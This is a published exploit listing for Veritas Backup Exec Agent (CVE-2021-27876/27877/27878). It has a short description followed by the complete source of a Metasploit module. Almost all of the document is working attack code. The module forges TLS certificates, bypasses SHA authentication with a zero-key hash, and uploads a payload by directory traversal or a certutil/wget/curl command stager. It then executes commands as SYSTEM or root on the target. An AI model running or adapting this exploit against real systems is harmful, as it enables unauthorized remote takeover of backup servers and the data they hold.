Veritas Backup Exec Agent Remote Code Execution

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Posted Sep 26, 2022

Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them. This authentication scheme is no longer used within Backup Exec versions, but had not yet been disabled. An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges depending on the platform. The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and including Backup Exec Remote Agent revision 9.3).

tags | exploit, remote, arbitrary, root
advisories | CVE-2021-27876, CVE-2021-27877, CVE-2021-27878
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```
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::NDMPSocket
  include Msf::Exploit::CmdStager
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
        'Description' => %q{
          Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of
them.
          This authentication scheme is no longer used within Backup Exec versions, but hadn't yet been
disabled.
          An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
          the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root
privileges
          depending on the platform.

          The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
          including Backup Exec Remote Agent revision 9.3)
        },
        'License' => MSF_LICENSE,
        'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
        'References' => [
          ['CVE', '2021-27876'],
          ['CVE', '2021-27877'],
          ['CVE', '2021-27878'],
          ['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']
        ],
        'Platform' => %w[win linux],
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %w[bourne wget curl echo]
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 10_000
        },
        'Privileged' => true,
        'DisclosureDate' => '2021-03-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [UNRELIABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
                    conditions: ['TARGET', '==', 'Linux'])
    ])
    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
  end

  def execute_command(cmd, opts = {})
    case target.opts['Platform']
    when 'win'
      wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
    when 'linux'
      wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
    end
    ndmp_sock = opts[:ndmp_sock]
    ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_EXECUTE_COMMAND,
        NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
      )
    )
  end

  def exploit
    print_status('Exploiting ...')

    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
    fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless
ndmp_status

    ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
    fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}")
unless ndmp_status

    ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
    fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless
ndmp_status

    if target.opts['Platform'] == 'win'
      filename = "#{rand_text_alpha(8)}.exe"
      ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
```

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```
    if ndmp_status
      ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
      fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless
ndmp_status
    else
      print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
      execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
    end
  else
    print_status('Uploading payload with CmdStager')
    execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
  end
end

def check
  print_status('Checking vulnerability')

  ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
  return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless
ndmp_status

  print_status('Getting supported authentication types')
  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
  )
  ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
  print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
                                                          "#{AUTH_TYPES[k]} (#{k})"
                                                        end.join(', ')}")
  print_status("BE agent revision: #{ndmp_payload.revision}")

  if ndmp_payload.auth_types.include?(5)
    Exploit::CheckCode::Appears('SHA authentication is enabled')
  else
    Exploit::CheckCode::Safe('SHA authentication is disabled')
  end
end

def ndmp_connect
  print_status('Connecting to BE Agent service')
  ndmp_msg = nil
  begin
    ndmp_sock = NDMP::Socket.new(connect)
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
         Rex::ConnectionRefused => e
    return [false, nil, e.to_s]
  end
  begin
    Timeout.timeout(datastore['ConnectTimeout']) do
      ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
    end
  rescue Timeout::Error
    return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
  else
    ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
  end

  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP::Message::CONNECT_OPEN,
      NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
    )
  )

  ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
  end

  [true, ndmp_sock, nil]
end

def tls_enabling(ndmp_sock)
  print_status('Enabling TLS for NDMP connection')
  ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
  ndmp_tls_certs.forge_ca
  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_SSL_HANDSHAKE,

NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAI
    )
  )
  ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
  end

  ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)

  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_SSL_HANDSHAKE,

NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAI
    )
  )
  ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
  end

  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_SSL_HANDSHAKE,

NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAI
    )
  )
  ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
  end

  ssl_context = OpenSSL::SSL::SSLContext.new
  ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
  ndmp_sock.wrap_with_ssl(ssl_context)
  [true, nil]
end

def sha_authentication(ndmp_sock)
  print_status('Passing SHA authentication')
  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_CONFIG_GET_AUTH_ATTR,
      NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
    )
  )
  ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
  end

  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP::Message::CONNECT_CLIENT_AUTH,
      NdmpConnectClientAuthReq.new(
        {
          auth_type: 5,
          username: 'Administrator', # Doesn't metter
          hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
        }
      ).to_xdr
    )
  )
  ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
  end

  [true, nil]
end

def win_write_upload(ndmp_sock, filename)
  print_status('Uploading payload with NDMP_FILE_WRITE packet')
  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_FILE_OPEN_EXT,
      NdmpFileOpenExtReq.new(
        {
          filename: filename,
          dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
          mode: 4
```

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```
        }
      ).to_xdr
    )
  )
  ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
  end

  hnd = ndmp_payload.handler
  exe = generate_payload_exe
  offset = 0
  block_size = 2048

  while offset < exe.length
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_FILE_WRITE,
        NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
      )
    )
    ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
    end

    offset += block_size
  end

  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_FILE_CLOSE,
      NdmpFileCloseReq.new({ handler: hnd }).to_xdr
    )
  )
  ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
  end

  [true, nil]
end

def exec_win_command(ndmp_sock, filename)
  cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_EXECUTE_COMMAND,
      NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
    )
  )
  ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
  end

  [true, nil]
end

# Class to create CA and client certificates
class NdmpTlsCerts
  def initialize(hostname, ip)
    @hostname = hostname
    @ip = ip
    @ca_key = nil
    @ca_cert = nil
    @be_agent_cert = nil
  end

  SSL_HANDSHAKE_TYPES = {
    SSL_HANDSHAKE_TEST_CERT: 1,
    SSL_HANDSHAKE_CSR_REQ: 2,
    SSL_HANDSHAKE_CSR_SIGNED: 3,
    SSL_HANDSHAKE_CONNECT: 4
  }.freeze

  attr_reader :ca_cert, :ca_key

  def forge_ca
    @ca_key = OpenSSL::PKey::RSA.new(2048)
    @ca_cert = OpenSSL::X509::Certificate.new
    @ca_cert.version = 2
    @ca_cert.serial = rand(2**32..2**64 - 1)
    @ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
    extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
    @ca_cert.extensions = [
      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
      extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
      extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
    ]
    @ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
    @ca_cert.public_key = @ca_key.public_key
    @ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
    @ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
    @ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
  end

  def sign_agent_csr(csr)
    o_csr = OpenSSL::X509::Request.new(csr)
    @be_agent_cert = OpenSSL::X509::Certificate.new
    @be_agent_cert.version = 2
    @be_agent_cert.serial = rand(2**32..2**64 - 1)
    @be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
    @be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
    @be_agent_cert.issuer = @ca_cert.subject
    @be_agent_cert.subject = o_csr.subject
    @be_agent_cert.public_key = o_csr.public_key
    @be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
  end

  def default_sslpacket_content(ssl_packet_type)
    if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
      ca_cert = @ca_cert.to_s
      agent_cert = @be_agent_cert.to_s
    else
      ca_cert = ''
      agent_cert = ''
    end
    {
      ssl_packet_type: ssl_packet_type,
      hostname: @hostname,
      nb_hostname: @hostname.upcase,
      ip_addr: @ip,
      cert_id1: get_cert_id(@ca_cert),
      cert_id2: get_cert_id(@ca_cert),
      unknown1: 0,
      unknown2: 0,
      ca_cert_len: ca_cert.length,
      ca_cert: ca_cert,
      agent_cert_len: agent_cert.length,
      agent_cert: agent_cert
    }
  end

  def get_cert_id(cert)
    Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
  end
end

NDMP_CONFIG_GET_AUTH_ATTR = 0x103
NDMP_SSL_HANDSHAKE = 0xf383
NDMP_EXECUTE_COMMAND = 0xf30f
NDMP_FILE_OPEN_EXT = 0xf308
NDMP_FILE_WRITE = 0xF309
NDMP_FILE_CLOSE = 0xF306

AUTH_TYPES = {
  1 => 'Text',
  2 => 'MD5',
  3 => 'BEWS',
  4 => 'SSPI',
  5 => 'SHA',
  190 => 'BEWS2' # 0xBE
}.freeze

# Responce packets
class NdmpNotifyConnectedRes < XDR::Struct
  attribute :connected, XDR::Int
  attribute :version, XDR::Int
  attribute :reason, XDR::Int
end

class NdmpConnectOpenRes < XDR::Struct
```

```
    attribute :err_code, XDR::Int
  end

  class NdmpConfigGetServerInfoRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :vendor_name, XDR::String[]
    attribute :product_name, XDR::String[]
    attribute :revision, XDR::String[]
    attribute :auth_types, XDR::VarArray[XDR::Int]
  end

  class NdmpConfigGetHostInfoRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :hostname, XDR::String[]
    attribute :os, XDR::String[]
    attribute :os_info, XDR::String[]
    attribute :ip, XDR::String[]
  end

  class NdmpSslHandshakeRes < XDR::Struct
    attribute :data_len, XDR::Int
    attribute :data, XDR::String[]
    attribute :err_code, XDR::Int
    attribute :unknown4, XDR::String[]
  end

  class NdmpConfigGetAuthAttrRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :auth_type, XDR::Int
    attribute :challenge, XDR::Opaque[64]
  end

  class NdmpConnectClientAuthRes < XDR::Struct
    attribute :err_code, XDR::Int
  end

  class NdmpExecuteCommandRes < XDR::Struct
    attribute :err_code, XDR::Int
  end

  class NdmpFileOpenExtRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :handler, XDR::Int
  end

  class NdmpFileWriteRes < XDR::Struct
    attribute :err_code, XDR::Int
    attribute :recv_len, XDR::Int
    attribute :unknown, XDR::Int
  end

  class NdmpFileCloseRes < XDR::Struct
    attribute :err_code, XDR::Int
  end

  # Request packets
  class NdmpConnectOpenReq < XDR::Struct
    attribute :version, XDR::Int
  end

  class NdmpSslHandshakeReq < XDR::Struct
    attribute :ssl_packet_type, XDR::Int
    attribute :nb_hostname, XDR::String[]
    attribute :hostname, XDR::String[]
    attribute :ip_addr, XDR::String[]
    attribute :cert_id1, XDR::Int
    attribute :cert_id2, XDR::Int
    attribute :unknown1, XDR::Int
    attribute :unknown2, XDR::Int
    attribute :ca_cert_len, XDR::Int
    attribute :ca_cert, XDR::String[]
    attribute :agent_cert_len, XDR::Int
    attribute :agent_cert, XDR::String[]
  end

  class NdmpConfigGetAuthAttrReq < XDR::Struct
    attribute :auth_type, XDR::Int
  end

  class NdmpConnectClientAuthReq < XDR::Struct
    attribute :auth_type, XDR::Int
    attribute :username, XDR::String[]
    attribute :hash, XDR::Opaque[32]
  end

  class NdmpExecuteCommandReq < XDR::Struct
    attribute :cmd, XDR::String[]
    attribute :unknown, XDR::Int
  end

  class NdmpFileOpenExtReq < XDR::Struct
    attribute :filename, XDR::String[]
    attribute :dir, XDR::String[]
    attribute :mode, XDR::Int
  end

  class NdmpFileWriteReq < XDR::Struct
    attribute :handler, XDR::Int
    attribute :len, XDR::Int
    attribute :data, XDR::String[]
  end

  class NdmpFileCloseReq < XDR::Struct
    attribute :handler, XDR::Int
  end
end
```